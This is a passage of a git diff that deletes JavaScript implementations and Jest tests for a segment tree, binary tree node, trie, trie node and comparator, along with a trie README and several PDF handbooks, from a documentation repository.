-            return this.operationFallback;
-        }
-        // Partial overlap.
-        const middleIndex = Math.floor((leftIndex + rightIndex) / 2);
-        const leftOperationResult = this.rangeQueryRecursive(queryLeftIndex, queryRightIndex, leftIndex, middleIndex, this.getLeftChildIndex(position));
-        const rightOperationResult = this.rangeQueryRecursive(queryLeftIndex, queryRightIndex, middleIndex + 1, rightIndex, this.getRightChildIndex(position));
-        return this.operation(leftOperationResult, rightOperationResult);
-    }
-    /**
-     * Left child index.
-     * @param {number} parentIndex
-     * @return {number}
-     */
-    getLeftChildIndex(parentIndex) {
-        return 2 * parentIndex + 1;
-    }
-    /**
-     * Right child index.
-     * @param {number} parentIndex
-     * @return {number}
-     */
-    getRightChildIndex(parentIndex) {
-        return 2 * parentIndex + 2;
-    }
-}
diff --git a/docs/content/DS_ALGO/data-structures/tree/segment-tree/test/SegmentTree.test.js b/docs/content/DS_ALGO/data-structures/tree/segment-tree/test/SegmentTree.test.js
deleted file mode 100644
index c98716c99f..0000000000
--- a/docs/content/DS_ALGO/data-structures/tree/segment-tree/test/SegmentTree.test.js
+++ /dev/null
@@ -1,79 +0,0 @@
-import SegmentTree from '../SegmentTree';
-describe('SegmentTree', () => {
-    it('should build tree for input array #0 with length of power of two', () => {
-        const array = [-1, 2];
-        const segmentTree = new SegmentTree(array, Math.min, Infinity);
-        expect(segmentTree.segmentTree).toEqual([-1, -1, 2]);
-        expect(segmentTree.segmentTree.length).toBe(2 * array.length - 1);
-    });
-    it('should build tree for input array #1 with length of power of two', () => {
-        const array = [-1, 2, 4, 0];
-        const segmentTree = new SegmentTree(array, Math.min, Infinity);
-        expect(segmentTree.segmentTree).toEqual([-1, -1, 0, -1, 2, 4, 0]);
-        expect(segmentTree.segmentTree.length).toBe(2 * array.length - 1);
-    });
-    it('should build tree for input array #0 with length not of power of two', () => {
-        const array = [0, 1, 2];
-        const segmentTree = new SegmentTree(array, Math.min, Infinity);
-        expect(segmentTree.segmentTree).toEqual([0, 0, 2, 0, 1, null, null]);
-        expect(segmentTree.segmentTree.length).toBe(2 * 4 - 1);
-    });
-    it('should build tree for input array #1 with length not of power of two', () => {
-        const array = [-1, 3, 4, 0, 2, 1];
-        const segmentTree = new SegmentTree(array, Math.min, Infinity);
-        expect(segmentTree.segmentTree).toEqual([-1, -1, 0, -1, 4, 0, 1, -1, 3, null, null, 0, 2, null, null]);
-        expect(segmentTree.segmentTree.length).toBe(2 * 8 - 1);
-    });
-    it('should build max array', () => {
-        const array = [-1, 2, 4, 0];
-        const segmentTree = new SegmentTree(array, Math.max, -Infinity);
-        expect(segmentTree.segmentTree).toEqual([4, 2, 4, -1, 2, 4, 0]);
-        expect(segmentTree.segmentTree.length).toBe(2 * array.length - 1);
-    });
-    it('should build sum array', () => {
-        const array = [-1, 2, 4, 0];
-        const segmentTree = new SegmentTree(array, (a, b) => a + b, 0);
-        expect(segmentTree.segmentTree).toEqual([5, 1, 4, -1, 2, 4, 0]);
-        expect(segmentTree.segmentTree.length).toBe(2 * array.length - 1);
-    });
-    it('should do min range query on power of two length array', () => {
-        const array = [-1, 3, 4, 0, 2, 1];
-        const segmentTree = new SegmentTree(array, Math.min, Infinity);
-        expect(segmentTree.rangeQuery(0, 5)).toBe(-1);
-        expect(segmentTree.rangeQuery(0, 2)).toBe(-1);
-        expect(segmentTree.rangeQuery(1, 3)).toBe(0);
-        expect(segmentTree.rangeQuery(2, 4)).toBe(0);
-        expect(segmentTree.rangeQuery(4, 5)).toBe(1);
-        expect(segmentTree.rangeQuery(2, 2)).toBe(4);
-    });
-    it('should do min range query on not power of two length array', () => {
-        const array = [-1, 2, 4, 0];
-        const segmentTree = new SegmentTree(array, Math.min, Infinity);
-        expect(segmentTree.rangeQuery(0, 4)).toBe(-1);
-        expect(segmentTree.rangeQuery(0, 1)).toBe(-1);
-        expect(segmentTree.rangeQuery(1, 3)).toBe(0);
-        expect(segmentTree.rangeQuery(1, 2)).toBe(2);
-        expect(segmentTree.rangeQuery(2, 3)).toBe(0);
-        expect(segmentTree.rangeQuery(2, 2)).toBe(4);
-    });
-    it('should do max range query', () => {
-        const array = [-1, 3, 4, 0, 2, 1];
-        const segmentTree = new SegmentTree(array, Math.max, -Infinity);
-        expect(segmentTree.rangeQuery(0, 5)).toBe(4);
-        expect(segmentTree.rangeQuery(0, 1)).toBe(3);
-        expect(segmentTree.rangeQuery(1, 3)).toBe(4);
-        expect(segmentTree.rangeQuery(2, 4)).toBe(4);
-        expect(segmentTree.rangeQuery(4, 5)).toBe(2);
-        expect(segmentTree.rangeQuery(3, 3)).toBe(0);
-    });
-    it('should do sum range query', () => {
-        const array = [-1, 3, 4, 0, 2, 1];
-        const segmentTree = new SegmentTree(array, (a, b) => a + b, 0);
-        expect(segmentTree.rangeQuery(0, 5)).toBe(9);
-        expect(segmentTree.rangeQuery(0, 1)).toBe(2);
-        expect(segmentTree.rangeQuery(1, 3)).toBe(7);
-        expect(segmentTree.rangeQuery(2, 4)).toBe(6);
-        expect(segmentTree.rangeQuery(4, 5)).toBe(3);
-        expect(segmentTree.rangeQuery(3, 3)).toBe(0);
-    });
-});
diff --git a/docs/content/DS_ALGO/data-structures/tree/test/BinaryTreeNode.test.js b/docs/content/DS_ALGO/data-structures/tree/test/BinaryTreeNode.test.js
deleted file mode 100644
index 93f08ff3fc..0000000000
--- a/docs/content/DS_ALGO/data-structures/tree/test/BinaryTreeNode.test.js
+++ /dev/null
@@ -1,196 +0,0 @@
-import BinaryTreeNode from '../BinaryTreeNode';
-describe('BinaryTreeNode', () => {
-    it('should create node', () => {
-        const node = new BinaryTreeNode();
-        expect(node).toBeDefined();
-        expect(node.value).toBeNull();
-        expect(node.left).toBeNull();
-        expect(node.right).toBeNull();
-        const leftNode = new BinaryTreeNode(1);
-        const rightNode = new BinaryTreeNode(3);
-        const rootNode = new BinaryTreeNode(2);
-        rootNode.setLeft(leftNode).setRight(rightNode);
-        expect(rootNode.value).toBe(2);
-        expect(rootNode.left.value).toBe(1);
-        expect(rootNode.right.value).toBe(3);
-    });
-    it('should set parent', () => {
-        const leftNode = new BinaryTreeNode(1);
-        const rightNode = new BinaryTreeNode(3);
-        const rootNode = new BinaryTreeNode(2);
-        rootNode.setLeft(leftNode).setRight(rightNode);
-        expect(rootNode.parent).toBeNull();
-        expect(rootNode.left.parent.value).toBe(2);
-        expect(rootNode.right.parent.value).toBe(2);
-        expect(rootNode.right.parent).toEqual(rootNode);
-    });
-    it('should traverse node', () => {
-        const leftNode = new BinaryTreeNode(1);
-        const rightNode = new BinaryTreeNode(3);
-        const rootNode = new BinaryTreeNode(2);
-        rootNode.setLeft(leftNode).setRight(rightNode);
-        expect(rootNode.traverseInOrder()).toEqual([1, 2, 3]);
-        expect(rootNode.toString()).toBe('1,2,3');
-    });
-    it('should remove child node', () => {
-        const leftNode = new BinaryTreeNode(1);
-        const rightNode = new BinaryTreeNode(3);
-        const rootNode = new BinaryTreeNode(2);
-        rootNode.setLeft(leftNode).setRight(rightNode);
-        expect(rootNode.traverseInOrder()).toEqual([1, 2, 3]);
-        expect(rootNode.removeChild(rootNode.left)).toBe(true);
-        expect(rootNode.traverseInOrder()).toEqual([2, 3]);
-        expect(rootNode.removeChild(rootNode.right)).toBe(true);
-        expect(rootNode.traverseInOrder()).toEqual([2]);
-        expect(rootNode.removeChild(rootNode.right)).toBe(false);
-        expect(rootNode.traverseInOrder()).toEqual([2]);
-    });
-    it('should replace child node', () => {
-        const leftNode = new BinaryTreeNode(1);
-        const rightNode = new BinaryTreeNode(3);
-        const rootNode = new BinaryTreeNode(2);
-        rootNode.setLeft(leftNode).setRight(rightNode);
-        expect(rootNode.traverseInOrder()).toEqual([1, 2, 3]);
-        const replacementNode = new BinaryTreeNode(5);
-        rightNode.setRight(replacementNode);
-        expect(rootNode.traverseInOrder()).toEqual([1, 2, 3, 5]);
-        expect(rootNode.replaceChild(rootNode.right, rootNode.right.right)).toBe(true);
-        expect(rootNode.right.value).toBe(5);
-        expect(rootNode.right.right).toBeNull();
-        expect(rootNode.traverseInOrder()).toEqual([1, 2, 5]);
-        expect(rootNode.replaceChild(rootNode.right, rootNode.right.right)).toBe(false);
-        expect(rootNode.traverseInOrder()).toEqual([1, 2, 5]);
-        expect(rootNode.replaceChild(rootNode.right, replacementNode)).toBe(true);
-        expect(rootNode.traverseInOrder()).toEqual([1, 2, 5]);
-        expect(rootNode.replaceChild(rootNode.left, replacementNode)).toBe(true);
-        expect(rootNode.traverseInOrder()).toEqual([5, 2, 5]);
-        expect(rootNode.replaceChild(new BinaryTreeNode(), new BinaryTreeNode())).toBe(false);
-    });
-    it('should calculate node height', () => {
-        const root = new BinaryTreeNode(1);
-        const left = new BinaryTreeNode(3);
-        const right = new BinaryTreeNode(2);
-        const grandLeft = new BinaryTreeNode(5);
-        const grandRight = new BinaryTreeNode(6);
-        const grandGrandLeft = new BinaryTreeNode(7);
-        expect(root.height).toBe(0);
-        expect(root.balanceFactor).toBe(0);
-        root.setLeft(left).setRight(right);
-        expect(root.height).toBe(1);
-        expect(left.height).toBe(0);
-        expect(root.balanceFactor).toBe(0);
-        left.setLeft(grandLeft).setRight(grandRight);
-        expect(root.height).toBe(2);
-        expect(left.height).toBe(1);
-        expect(grandLeft.height).toBe(0);
-        expect(grandRight.height).toBe(0);
-        expect(root.balanceFactor).toBe(1);
-        grandLeft.setLeft(grandGrandLeft);
-        expect(root.height).toBe(3);
-        expect(left.height).toBe(2);
-        expect(grandLeft.height).toBe(1);
-        expect(grandRight.height).toBe(0);
-        expect(grandGrandLeft.height).toBe(0);
-        expect(root.balanceFactor).toBe(2);
-    });
-    it('should calculate node height for right nodes as well', () => {
-        const root = new BinaryTreeNode(1);
-        const right = new BinaryTreeNode(2);
-        root.setRight(right);
-        expect(root.height).toBe(1);
-        expect(right.height).toBe(0);
-        expect(root.balanceFactor).toBe(-1);
-    });
-    it('should set null for left and right node', () => {
-        const root = new BinaryTreeNode(2);
-        const left = new BinaryTreeNode(1);
-        const right = new BinaryTreeNode(3);
-        root.setLeft(left);
-        root.setRight(right);
-        expect(root.left.value).toBe(1);
-        expect(root.right.value).toBe(3);
-        root.setLeft(null);
-        root.setRight(null);
-        expect(root.left).toBeNull();
-        expect(root.right).toBeNull();
-    });
-    it('should be possible to create node with object as a value', () => {
-        const obj1 = { key: 'object_1', toString: () => 'object_1' };
-        const obj2 = { key: 'object_2' };
-        const node1 = new BinaryTreeNode(obj1);
-        const node2 = new BinaryTreeNode(obj2);
-        node1.setLeft(node2);
-        expect(node1.value).toEqual(obj1);
-        expect(node2.value).toEqual(obj2);
-        expect(node1.left.value).toEqual(obj2);
-        node1.removeChild(node2);
-        expect(node1.value).toEqual(obj1);
-        expect(node2.value).toEqual(obj2);
-        expect(node1.left).toBeNull();
-        expect(node1.toString()).toBe('object_1');
-        expect(node2.toString()).toBe('[object Object]');
-    });
-    it('should be possible to attach meta information to the node', () => {
-        const redNode = new BinaryTreeNode(1);
-        const blackNode = new BinaryTreeNode(2);
-        redNode.meta.set('color', 'red');
-        blackNode.meta.set('color', 'black');
-        expect(redNode.meta.get('color')).toBe('red');
-        expect(blackNode.meta.get('color')).toBe('black');
-    });
-    it('should detect right uncle', () => {
-        const grandParent = new BinaryTreeNode('grand-parent');
-        const parent = new BinaryTreeNode('parent');
-        const uncle = new BinaryTreeNode('uncle');
-        const child = new BinaryTreeNode('child');
-        expect(grandParent.uncle).not.toBeDefined();
-        expect(parent.uncle).not.toBeDefined();
-        grandParent.setLeft(parent);
-        expect(parent.uncle).not.toBeDefined();
-        expect(child.uncle).not.toBeDefined();
-        parent.setLeft(child);
-        expect(child.uncle).not.toBeDefined();
-        grandParent.setRight(uncle);
-        expect(parent.uncle).not.toBeDefined();
-        expect(child.uncle).toBeDefined();
-        expect(child.uncle).toEqual(uncle);
-    });
-    it('should detect left uncle', () => {
-        const grandParent = new BinaryTreeNode('grand-parent');
-        const parent = new BinaryTreeNode('parent');
-        const uncle = new BinaryTreeNode('uncle');
-        const child = new BinaryTreeNode('child');
-        expect(grandParent.uncle).not.toBeDefined();
-        expect(parent.uncle).not.toBeDefined();
-        grandParent.setRight(parent);
-        expect(parent.uncle).not.toBeDefined();
-        expect(child.uncle).not.toBeDefined();
-        parent.setRight(child);
-        expect(child.uncle).not.toBeDefined();
-        grandParent.setLeft(uncle);
-        expect(parent.uncle).not.toBeDefined();
-        expect(child.uncle).toBeDefined();
-        expect(child.uncle).toEqual(uncle);
-    });
-    it('should be possible to set node values', () => {
-        const node = new BinaryTreeNode('initial_value');
-        expect(node.value).toBe('initial_value');
-        node.setValue('new_value');
-        expect(node.value).toBe('new_value');
-    });
-    it('should be possible to copy node', () => {
-        const root = new BinaryTreeNode('root');
-        const left = new BinaryTreeNode('left');
-        const right = new BinaryTreeNode('right');
-        root.setLeft(left).setRight(right);
-        expect(root.toString()).toBe('left,root,right');
-        const newRoot = new BinaryTreeNode('new_root');
-        const newLeft = new BinaryTreeNode('new_left');
-        const newRight = new BinaryTreeNode('new_right');
-        newRoot.setLeft(newLeft).setRight(newRight);
-        expect(newRoot.toString()).toBe('new_left,new_root,new_right');
-        BinaryTreeNode.copyNode(root, newRoot);
-        expect(root.toString()).toBe('left,root,right');
-        expect(newRoot.toString()).toBe('left,root,right');
-    });
-});
diff --git a/docs/content/DS_ALGO/data-structures/trie/README.md b/docs/content/DS_ALGO/data-structures/trie/README.md
deleted file mode 100644
index 968f6da2a2..0000000000
--- a/docs/content/DS_ALGO/data-structures/trie/README.md
+++ /dev/null
@@ -1,23 +0,0 @@
-# Trie
-
-In computer science, a **trie**, also called digital tree and sometimes
-radix tree or prefix tree (as they can be searched by prefixes),
-is a kind of search tree—an ordered tree data structure that is
-used to store a dynamic set or associative array where the keys
-are usually strings. Unlike a binary search tree, no node in the
-tree stores the key associated with that node; instead, its
-position in the tree defines the key with which it is associated.
-All the descendants of a node have a common prefix of the string
-associated with that node, and the root is associated with the
-empty string. Values are not necessarily associated with every
-node. Rather, values tend only to be associated with leaves,
-and with some inner nodes that correspond to keys of interest.
-For the space-optimized presentation of prefix tree, see compact
-prefix tree.
-
-![Trie](https://upload.wikimedia.org/wikipedia/commons/b/be/Trie_example.svg)
-
-## References
-
--   [Wikipedia](https://en.wikipedia.org/wiki/Trie)
--   [YouTube](https://www.youtube.com/watch?v=zIjfhVPRZCg&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8&index=7&t=0s)
diff --git a/docs/content/DS_ALGO/data-structures/trie/Trie.js b/docs/content/DS_ALGO/data-structures/trie/Trie.js
deleted file mode 100644
index 5c48565fde..0000000000
--- a/docs/content/DS_ALGO/data-structures/trie/Trie.js
+++ /dev/null
@@ -1,88 +0,0 @@
-import TrieNode from './TrieNode';
-// Character that we will use for trie tree root.
-const HEAD_CHARACTER = '*';
-export default class Trie {
-    constructor() {
-        this.head = new TrieNode(HEAD_CHARACTER);
-    }
-    /**
-     * @param {string} word
-     * @return {Trie}
-     */
-    addWord(word) {
-        const characters = Array.from(word);
-        let currentNode = this.head;
-        for (let charIndex = 0; charIndex < characters.length; charIndex += 1) {
-            const isComplete = charIndex === characters.length - 1;
-            currentNode = currentNode.addChild(characters[charIndex], isComplete);
-        }
-        return this;
-    }
-    /**
-     * @param {string} word
-     * @return {Trie}
-     */
-    deleteWord(word) {
-        const depthFirstDelete = (currentNode, charIndex = 0) => {
-            if (charIndex >= word.length) {
-                // Return if we're trying to delete the character that is out of word's scope.
-                return;
-            }
-            const character = word[charIndex];
-            const nextNode = currentNode.getChild(character);
-            if (nextNode == null) {
-                // Return if we're trying to delete a word that has not been added to the Trie.
-                return;
-            }
-            // Go deeper.
-            depthFirstDelete(nextNode, charIndex + 1);
-            // Since we're going to delete a word let's un-mark its last character isCompleteWord flag.
-            if (charIndex === word.length - 1) {
-                nextNode.isCompleteWord = false;
-            }
-            // childNode is deleted only if:
-            // - childNode has NO children
-            // - childNode.isCompleteWord === false
-            currentNode.removeChild(character);
-        };
-        // Start depth-first deletion from the head node.
-        depthFirstDelete(this.head);
-        return this;
-    }
-    /**
-     * @param {string} word
-     * @return {string[]}
-     */
-    suggestNextCharacters(word) {
-        const lastCharacter = this.getLastCharacterNode(word);
-        if (!lastCharacter) {
-            return null;
-        }
-        return lastCharacter.suggestChildren();
-    }
-    /**
-     * Check if complete word exists in Trie.
-     *
-     * @param {string} word
-     * @return {boolean}
-     */
-    doesWordExist(word) {
-        const lastCharacter = this.getLastCharacterNode(word);
-        return !!lastCharacter && lastCharacter.isCompleteWord;
-    }
-    /**
-     * @param {string} word
-     * @return {TrieNode}
-     */
-    getLastCharacterNode(word) {
-        const characters = Array.from(word);
-        let currentNode = this.head;
-        for (let charIndex = 0; charIndex < characters.length; charIndex += 1) {
-            if (!currentNode.hasChild(characters[charIndex])) {
-                return null;
-            }
-            currentNode = currentNode.getChild(characters[charIndex]);
-        }
-        return currentNode;
-    }
-}
diff --git a/docs/content/DS_ALGO/data-structures/trie/TrieNode.js b/docs/content/DS_ALGO/data-structures/trie/TrieNode.js
deleted file mode 100644
index 96abb43949..0000000000
--- a/docs/content/DS_ALGO/data-structures/trie/TrieNode.js
+++ /dev/null
@@ -1,76 +0,0 @@
-import HashTable from '../hash-table/HashTable';
-export default class TrieNode {
-    /**
-     * @param {string} character
-     * @param {boolean} isCompleteWord
-     */
-    constructor(character, isCompleteWord = false) {
-        this.character = character;
-        this.isCompleteWord = isCompleteWord;
-        this.children = new HashTable();
-    }
-    /**
-     * @param {string} character
-     * @return {TrieNode}
-     */
-    getChild(character) {
-        return this.children.get(character);
-    }
-    /**
-     * @param {string} character
-     * @param {boolean} isCompleteWord
-     * @return {TrieNode}
-     */
-    addChild(character, isCompleteWord = false) {
-        if (!this.children.has(character)) {
-            this.children.set(character, new TrieNode(character, isCompleteWord));
-        }
-        const childNode = this.children.get(character);
-        // In cases similar to adding "car" after "carpet" we need to mark "r" character as complete.
-        childNode.isCompleteWord = childNode.isCompleteWord || isCompleteWord;
-        return childNode;
-    }
-    /**
-     * @param {string} character
-     * @return {TrieNode}
-     */
-    removeChild(character) {
-        const childNode = this.getChild(character);
-        // Delete childNode only if:
-        // - childNode has NO children,
-        // - childNode.isCompleteWord === false.
-        if (childNode && !childNode.isCompleteWord && !childNode.hasChildren()) {
-            this.children.delete(character);
-        }
-        return this;
-    }
-    /**
-     * @param {string} character
-     * @return {boolean}
-     */
-    hasChild(character) {
-        return this.children.has(character);
-    }
-    /**
-     * Check whether current TrieNode has children or not.
-     * @return {boolean}
-     */
-    hasChildren() {
-        return this.children.getKeys().length !== 0;
-    }
-    /**
-     * @return {string[]}
-     */
-    suggestChildren() {
-        return [...this.children.getKeys()];
-    }
-    /**
-     * @return {string}
-     */
-    toString() {
-        let childrenAsString = this.suggestChildren().toString();
-        childrenAsString = childrenAsString ? `:${childrenAsString}` : '';
-        const isCompleteString = this.isCompleteWord ? '*' : '';
-        return `${this.character}${isCompleteString}${childrenAsString}`;
-    }
-}
diff --git a/docs/content/DS_ALGO/data-structures/trie/test/Trie.test.js b/docs/content/DS_ALGO/data-structures/trie/test/Trie.test.js
deleted file mode 100644
index b515f5cfa2..0000000000
--- a/docs/content/DS_ALGO/data-structures/trie/test/Trie.test.js
+++ /dev/null
@@ -1,75 +0,0 @@
-import Trie from '../Trie';
-describe('Trie', () => {
-    it('should create trie', () => {
-        const trie = new Trie();
-        expect(trie).toBeDefined();
-        expect(trie.head.toString()).toBe('*');
-    });
-    it('should add words to trie', () => {
-        const trie = new Trie();
-        trie.addWord('cat');
-        expect(trie.head.toString()).toBe('*:c');
-        expect(trie.head.getChild('c').toString()).toBe('c:a');
-        trie.addWord('car');
-        expect(trie.head.toString()).toBe('*:c');
-        expect(trie.head.getChild('c').toString()).toBe('c:a');
-        expect(trie.head.getChild('c').getChild('a').toString()).toBe('a:t,r');
-        expect(trie.head.getChild('c').getChild('a').getChild('t').toString()).toBe('t*');
-    });
-    it('should delete words from trie', () => {
-        const trie = new Trie();
-        trie.addWord('carpet');
-        trie.addWord('car');
-        trie.addWord('cat');
-        trie.addWord('cart');
-        expect(trie.doesWordExist('carpet')).toBe(true);
-        expect(trie.doesWordExist('car')).toBe(true);
-        expect(trie.doesWordExist('cart')).toBe(true);
-        expect(trie.doesWordExist('cat')).toBe(true);
-        // Try to delete not-existing word first.
-        trie.deleteWord('carpool');
-        expect(trie.doesWordExist('carpet')).toBe(true);
-        expect(trie.doesWordExist('car')).toBe(true);
-        expect(trie.doesWordExist('cart')).toBe(true);
-        expect(trie.doesWordExist('cat')).toBe(true);
-        trie.deleteWord('carpet');
-        expect(trie.doesWordExist('carpet')).toEqual(false);
-        expect(trie.doesWordExist('car')).toEqual(true);
-        expect(trie.doesWordExist('cart')).toBe(true);
-        expect(trie.doesWordExist('cat')).toBe(true);
-        trie.deleteWord('cat');
-        expect(trie.doesWordExist('car')).toEqual(true);
-        expect(trie.doesWordExist('cart')).toBe(true);
-        expect(trie.doesWordExist('cat')).toBe(false);
-        trie.deleteWord('car');
-        expect(trie.doesWordExist('car')).toEqual(false);
-        expect(trie.doesWordExist('cart')).toBe(true);
-        trie.deleteWord('cart');
-        expect(trie.doesWordExist('car')).toEqual(false);
-        expect(trie.doesWordExist('cart')).toBe(false);
-    });
-    it('should suggests next characters', () => {
-        const trie = new Trie();
-        trie.addWord('cat');
-        trie.addWord('cats');
-        trie.addWord('car');
-        trie.addWord('caption');
-        expect(trie.suggestNextCharacters('ca')).toEqual(['t', 'r', 'p']);
-        expect(trie.suggestNextCharacters('cat')).toEqual(['s']);
-        expect(trie.suggestNextCharacters('cab')).toBeNull();
-    });
-    it('should check if word exists', () => {
-        const trie = new Trie();
-        trie.addWord('cat');
-        trie.addWord('cats');
-        trie.addWord('carpet');
-        trie.addWord('car');
-        trie.addWord('caption');
-        expect(trie.doesWordExist('cat')).toBe(true);
-        expect(trie.doesWordExist('cats')).toBe(true);
-        expect(trie.doesWordExist('carpet')).toBe(true);
-        expect(trie.doesWordExist('car')).toBe(true);
-        expect(trie.doesWordExist('cap')).toBe(false);
-        expect(trie.doesWordExist('call')).toBe(false);
-    });
-});
diff --git a/docs/content/DS_ALGO/data-structures/trie/test/TrieNode.test.js b/docs/content/DS_ALGO/data-structures/trie/test/TrieNode.test.js
deleted file mode 100644
index 048dc83bb8..0000000000
--- a/docs/content/DS_ALGO/data-structures/trie/test/TrieNode.test.js
+++ /dev/null
@@ -1,66 +0,0 @@
-import TrieNode from '../TrieNode';
-describe('TrieNode', () => {
-    it('should create trie node', () => {
-        const trieNode = new TrieNode('c', true);
-        expect(trieNode.character).toBe('c');
-        expect(trieNode.isCompleteWord).toBe(true);
-        expect(trieNode.toString()).toBe('c*');
-    });
-    it('should add child nodes', () => {
-        const trieNode = new TrieNode('c');
-        trieNode.addChild('a', true);
-        trieNode.addChild('o');
-        expect(trieNode.toString()).toBe('c:a,o');
-    });
-    it('should get child nodes', () => {
-        const trieNode = new TrieNode('c');
-        trieNode.addChild('a');
-        trieNode.addChild('o');
-        expect(trieNode.getChild('a').toString()).toBe('a');
-        expect(trieNode.getChild('a').character).toBe('a');
-        expect(trieNode.getChild('o').toString()).toBe('o');
-        expect(trieNode.getChild('b')).toBeUndefined();
-    });
-    it('should check if node has children', () => {
-        const trieNode = new TrieNode('c');
-        expect(trieNode.hasChildren()).toBe(false);
-        trieNode.addChild('a');
-        expect(trieNode.hasChildren()).toBe(true);
-    });
-    it('should check if node has specific child', () => {
-        const trieNode = new TrieNode('c');
-        trieNode.addChild('a');
-        trieNode.addChild('o');
-        expect(trieNode.hasChild('a')).toBe(true);
-        expect(trieNode.hasChild('o')).toBe(true);
-        expect(trieNode.hasChild('b')).toBe(false);
-    });
-    it('should suggest next children', () => {
-        const trieNode = new TrieNode('c');
-        trieNode.addChild('a');
-        trieNode.addChild('o');
-        expect(trieNode.suggestChildren()).toEqual(['a', 'o']);
-    });
-    it('should delete child node if the child node has NO children', () => {
-        const trieNode = new TrieNode('c');
-        trieNode.addChild('a');
-        expect(trieNode.hasChild('a')).toBe(true);
-        trieNode.removeChild('a');
-        expect(trieNode.hasChild('a')).toBe(false);
-    });
-    it('should NOT delete child node if the child node has children', () => {
-        const trieNode = new TrieNode('c');
-        trieNode.addChild('a');
-        const childNode = trieNode.getChild('a');
-        childNode.addChild('r');
-        trieNode.removeChild('a');
-        expect(trieNode.hasChild('a')).toEqual(true);
-    });
-    it('should NOT delete child node if the child node completes a word', () => {
-        const trieNode = new TrieNode('c');
-        const IS_COMPLETE_WORD = true;
-        trieNode.addChild('a', IS_COMPLETE_WORD);
-        trieNode.removeChild('a');
-        expect(trieNode.hasChild('a')).toEqual(true);
-    });
-});
diff --git a/docs/content/DS_ALGO/utils/comparator/Comparator.js b/docs/content/DS_ALGO/utils/comparator/Comparator.js
deleted file mode 100644
index 110896bc9e..0000000000
--- a/docs/content/DS_ALGO/utils/comparator/Comparator.js
+++ /dev/null
@@ -1,74 +0,0 @@
-export default class Comparator {
-    /**
-     * Constructor.
-     * @param {function(a: *, b: *)} [compareFunction] - It may be custom compare function that, let's
-     * say may compare custom objects together.
-     */
-    constructor(compareFunction) {
-        this.compare = compareFunction || Comparator.defaultCompareFunction;
-    }
-    /**
-     * Default comparison function. It just assumes that "a" and "b" are strings or numbers.
-     * @param {(string|number)} a
-     * @param {(string|number)} b
-     * @returns {number}
-     */
-    static defaultCompareFunction(a, b) {
-        if (a === b) {
-            return 0;
-        }
-        return a < b ? -1 : 1;
-    }
-    /**
-     * Checks if two variables are equal.
-     * @param {*} a
-     * @param {*} b
-     * @return {boolean}
-     */
-    equal(a, b) {
-        return this.compare(a, b) === 0;
-    }
-    /**
-     * Checks if variable "a" is less than "b".
-     * @param {*} a
-     * @param {*} b
-     * @return {boolean}
-     */
-    lessThan(a, b) {
-        return this.compare(a, b) < 0;
-    }
-    /**
-     * Checks if variable "a" is greater than "b".
-     * @param {*} a
-     * @param {*} b
-     * @return {boolean}
-     */
-    greaterThan(a, b) {
-        return this.compare(a, b) > 0;
-    }
-    /**
-     * Checks if variable "a" is less than or equal to "b".
-     * @param {*} a
-     * @param {*} b
-     * @return {boolean}
-     */
-    lessThanOrEqual(a, b) {
-        return this.lessThan(a, b) || this.equal(a, b);
-    }
-    /**
-     * Checks if variable "a" is greater than or equal to "b".
-     * @param {*} a
-     * @param {*} b
-     * @return {boolean}
-     */
-    greaterThanOrEqual(a, b) {
-        return this.greaterThan(a, b) || this.equal(a, b);
-    }
-    /**
-     * Reverses the comparison order.
-     */
-    reverse() {
-        const compareOriginal = this.compare;
-        this.compare = (a, b) => compareOriginal(b, a);
-    }
-}
diff --git a/docs/content/DS_ALGO/utils/comparator/test/Comparator.test.js b/docs/content/DS_ALGO/utils/comparator/test/Comparator.test.js
deleted file mode 100644
index 69c10f1648..0000000000
--- a/docs/content/DS_ALGO/utils/comparator/test/Comparator.test.js
+++ /dev/null
@@ -1,43 +0,0 @@
-import Comparator from '../Comparator';
-describe('Comparator', () => {
-    it('should compare with default comparator function', () => {
-        const comparator = new Comparator();
-        expect(comparator.equal(0, 0)).toBe(true);
-        expect(comparator.equal(0, 1)).toBe(false);
-        expect(comparator.equal('a', 'a')).toBe(true);
-        expect(comparator.lessThan(1, 2)).toBe(true);
-        expect(comparator.lessThan(-1, 2)).toBe(true);
-        expect(comparator.lessThan('a', 'b')).toBe(true);
-        expect(comparator.lessThan('a', 'ab')).toBe(true);
-        expect(comparator.lessThan(10, 2)).toBe(false);
-        expect(comparator.lessThanOrEqual(10, 2)).toBe(false);
-        expect(comparator.lessThanOrEqual(1, 1)).toBe(true);
-        expect(comparator.lessThanOrEqual(0, 0)).toBe(true);
-        expect(comparator.greaterThan(0, 0)).toBe(false);
-        expect(comparator.greaterThan(10, 0)).toBe(true);
-        expect(comparator.greaterThanOrEqual(10, 0)).toBe(true);
-        expect(comparator.greaterThanOrEqual(10, 10)).toBe(true);
-        expect(comparator.greaterThanOrEqual(0, 10)).toBe(false);
-    });
-    it('should compare with custom comparator function', () => {
-        const comparator = new Comparator((a, b) => {
-            if (a.length === b.length) {
-                return 0;
-            }
-            return a.length < b.length ? -1 : 1;
-        });
-        expect(comparator.equal('a', 'b')).toBe(true);
-        expect(comparator.equal('a', '')).toBe(false);
-        expect(comparator.lessThan('b', 'aa')).toBe(true);
-        expect(comparator.greaterThanOrEqual('a', 'aa')).toBe(false);
-        expect(comparator.greaterThanOrEqual('aa', 'a')).toBe(true);
-        expect(comparator.greaterThanOrEqual('a', 'a')).toBe(true);
-        comparator.reverse();
-        expect(comparator.equal('a', 'b')).toBe(true);
-        expect(comparator.equal('a', '')).toBe(false);
-        expect(comparator.lessThan('b', 'aa')).toBe(false);
-        expect(comparator.greaterThanOrEqual('a', 'aa')).toBe(true);
-        expect(comparator.greaterThanOrEqual('aa', 'a')).toBe(false);
-        expect(comparator.greaterThanOrEqual('a', 'a')).toBe(true);
-    });
-});
diff --git a/docs/content/books/c-handbook.pdf b/docs/content/books/c-handbook.pdf
deleted file mode 100644
index 5598bafd24..0000000000
Binary files a/docs/content/books/c-handbook.pdf and /dev/null differ
diff --git a/docs/content/books/es5-to-esnext.pdf b/docs/content/books/es5-to-esnext.pdf
deleted file mode 100644
index 59f90369cd..0000000000
Binary files a/docs/content/books/es5-to-esnext.pdf and /dev/null differ
diff --git a/docs/content/books/linuxcommandshandbook.pdf b/docs/content/books/linuxcommandshandbook.pdf
deleted file mode 100644
index 20a18dc6c8..0000000000
Binary files a/docs/content/books/linuxcommandshandbook.pdf and /dev/null differ
diff --git a/docs/content/cheat-sheets/7z.md b/docs/content/cheat-sheets/7z.md
deleted file mode 100644
index d1ffbb002d..0000000000
